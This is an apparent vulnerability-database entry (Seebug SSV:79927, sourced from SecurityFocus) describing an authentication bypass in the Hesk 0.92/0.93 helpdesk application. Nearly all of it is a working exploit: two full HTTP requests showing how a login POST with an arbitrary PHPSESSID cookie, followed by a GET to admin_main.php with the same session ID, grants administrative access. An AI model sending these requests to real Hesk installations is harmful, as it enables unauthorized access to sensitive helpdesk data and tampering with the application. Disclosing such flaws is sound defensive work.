Hesk 0.92/0.93 Session ID Authentication Bypass Vulnerability

2014-07-01T00:00:00
ID SSV:79927
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

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                                                source: http://www.securityfocus.com/bid/14879/info

Hesk is prone to an authentication bypass vulnerability.

Successful exploitation will grant an attacker administrative access to the application. This can lead to unauthorized access of sensitive data, modification of helpdesk data and program code, and other types of attacks. 

1. HTTP POST request with randomly chosen Session ID:
POST admin.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/hesk/admin.php
Cookie: PHPSESSID=12345 <!-- Random Session ID--!>
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
user=1&pass=sdfd&a=do_login");

2. GET request to administrative control panel:
GET admin_main.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=12345") <!-- Session ID --!>